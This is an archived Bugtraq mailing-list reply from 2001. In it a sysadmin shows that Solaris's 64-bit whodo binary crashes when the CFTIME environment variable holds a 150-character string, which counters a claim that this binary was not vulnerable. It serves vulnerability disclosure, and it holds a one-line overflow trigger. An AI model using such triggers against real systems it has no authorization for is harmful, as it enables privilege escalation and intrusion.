[21374] in bugtraq
Re: Solaris whodo Vulnerability
daemon@ATHENA.MIT.EDU (Dan Astoorian)
Fri Jul 6 14:05:55 2001
To: Pablo Sor <psor@afip.gov.ar>
Cc: bugtraq@securityfocus.com
In-reply-to: Your message of "Thu, 05 Jul 2001 15:50:44 EDT."
<3B44C514.1950EE54@afip.gov.ar>
Date: Fri, 6 Jul 2001 10:36:50 -0400
From: Dan Astoorian <djast@cs.toronto.edu>
Message-Id: <01Jul6.103659edt.453140-28524@jane.cs.toronto.edu>
On Thu, 05 Jul 2001 15:50:44 EDT, Pablo Sor writes:
>
> The /usr/sbin/sparcv9/whodo seems to be not vulnerable.
May I ask on what basis you have come to that conclusion?
| palm.cs:~> uname -insrmp
| SunOS palm.cs 5.8 sun4u sparc SUNW,Ultra-1
| palm.cs:~> env CFTIME=`perl -e 'print "x" x 150'` /usr/sbin/sparcv9/whodo
| xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
| palm.cs
| Segmentation fault
| palm.cs:~>
--
Dan Astoorian People shouldn't think that it's better to have
Sysadmin, CSLab loved and lost than never loved at all. It's
djast@cs.toronto.edu not, it's better to have loved and won. All
www.cs.toronto.edu/~djast/ the other options really suck. --Dan Redican